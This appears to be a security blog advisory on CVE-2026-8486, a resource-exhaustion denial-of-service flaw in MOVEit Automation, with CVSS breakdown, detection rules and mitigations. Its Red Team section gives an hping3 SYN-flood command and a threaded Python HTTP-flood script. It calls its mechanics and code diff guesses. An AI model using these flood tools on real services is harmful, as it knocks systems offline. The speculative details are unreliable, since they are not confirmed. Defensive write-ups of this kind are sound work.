CVE-2026-8486

Executive Summary

CVE-2026-8486 is a resource exhaustion vulnerability in Progress Software MOVEit Automation, classified as an Allocation of Resources Without Limits or Throttling (CWE-770). This flaw allows an unauthenticated attacker to perform a flooding attack, potentially leading to a denial of service (DoS) condition. The vulnerability affects MOVEit Automation versions before 2025.0.11 and from 2025.1.0 before 2025.1.7. With a CVSS score of 5.3 (Medium), the attack vector is network-based, requires no privileges, and no user interaction, but only impacts availability. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. However, given the critical nature of MOVEit Automation in enterprise file transfer workflows, this vulnerability should be prioritized for patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Reduced performance or service interruption.

Threat Level: Medium. While the impact is limited to availability, the ease of exploitation (network-based, no auth) makes it a viable vector for disrupting MOVEit Automation services, especially in environments where uptime is critical.

Deep Dive & Mechanics

The vulnerability stems from improper resource allocation controls in MOVEit Automation's handling of incoming network requests. Specifically, the software fails to enforce limits or throttling on the number of concurrent connections or the rate of requests. An attacker can exploit this by sending a high volume of crafted requests, exhausting system resources such as memory, CPU, or connection pools. This leads to a denial of service, where legitimate users are unable to access the service.

The affected components likely include the web interface, API endpoints, or file transfer listeners. Since no authentication is required, the attack surface is broad. The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling), which is common in services that do not implement proper rate limiting or connection pooling.

Vulnerable vs. Patched Code

No specific code diff is publicly available. However, the patch likely involves implementing rate limiting, connection throttling, or resource quotas in the request handling logic. For example, vulnerable code might look like:

# Vulnerable: No limit on concurrent connections
def handle_request(request):
    process_request(request)  # No throttling

Patched code would introduce a semaphore or rate limiter:

# Patched: Limit concurrent connections
import threading
semaphore = threading.Semaphore(100)

def handle_request(request):
    with semaphore:
        process_request(request)

Exploitation & Lab Setup

Red Team (Offensive)

Since no public exploit code is available, a proof-of-concept can be developed using standard network flooding tools. The goal is to send a high volume of HTTP requests to the MOVEit Automation service.

Lab Setup:

• Target: MOVEit Automation 2025.0.10 (vulnerable) running on a VM.
• Attacker: Kali Linux with hping3 or custom Python script.

Exploitation Steps:

1. Identify the target IP and port (default: 80/443 for web, or 22 for SFTP).
2. Use a flooding tool to send requests:

# Example using hping3 for SYN flood
hping3 -S --flood -V -p 443 <target_ip>

3. Alternatively, use a Python script to send HTTP requests:

import requests
import threading

target = "https://<target_ip>/"
def flood():
    while True:
        try:
            requests.get(target, timeout=1)
        except:
            pass

threads = []
for _ in range(500):
    t = threading.Thread(target=flood)
    t.start()
    threads.append(t)

4. Monitor the target for service degradation or crash.

Blue Team (Defensive)

Detection:

• Monitor for sudden spikes in network traffic or connection attempts.
• Use rate limiting and connection thresholds in firewalls or WAFs.
• Enable logging on MOVEit Automation to capture excessive request patterns.

Mitigation:

• Apply the vendor patch immediately.
• Implement network-level rate limiting (e.g., iptables or cloud WAF).
• Use intrusion detection systems (IDS) to alert on flooding patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of TCP SYN packets from a single IP or IP range.
  • Repeated HTTP requests to MOVEit Automation endpoints (e.g., /moveit, /api).
  • Unusual connection timeouts or service unavailability.

• System IOCs:

  • High CPU or memory usage on the MOVEit Automation server.
  • Application logs showing "connection refused" or "out of memory" errors.
  • Crash dumps or service restarts.

• Log Patterns:

  • Multiple GET / or POST / requests from the same source within a short timeframe.
  • Log entries with error: too many connections or similar.

Detection Engineering

YARA Rule

rule CVE_2026_8486_Flooding_Detection {
    meta:
        description = "Detects potential flooding attempts against MOVEit Automation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-8486"
    strings:
        $s1 = "MOVEit Automation" nocase
        $s2 = "too many connections" nocase
        $s3 = "out of memory" nocase
    condition:
        any of ($s*) and #s1 > 10
}

Sigma Rule

title: CVE-2026-8486 MOVEit Automation Flooding Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects high volume of requests to MOVEit Automation, indicating a potential DoS attack.
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
detection:
    selection:
        cs-uri-stem:
            - "/moveit*"
            - "/api*"
    condition: selection | count() by src_ip > 100 within 60 seconds
falsepositives:
    - Legitimate load testing
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CVE-2026-8486 MOVEit Automation Flooding Attempt"; flow:to_server; content:"GET /moveit"; nocase; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to MOVEit Automation 2025.0.11 or 2025.1.7.
2. Network Controls: Deploy rate limiting on firewalls or load balancers to restrict connections per IP.
3. Monitoring: Enable detailed logging and set up alerts for abnormal traffic patterns.
4. Backup & Recovery: Ensure backups are available and test disaster recovery procedures.
5. Vendor Advisory: Monitor Progress Software's security advisories for updates.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert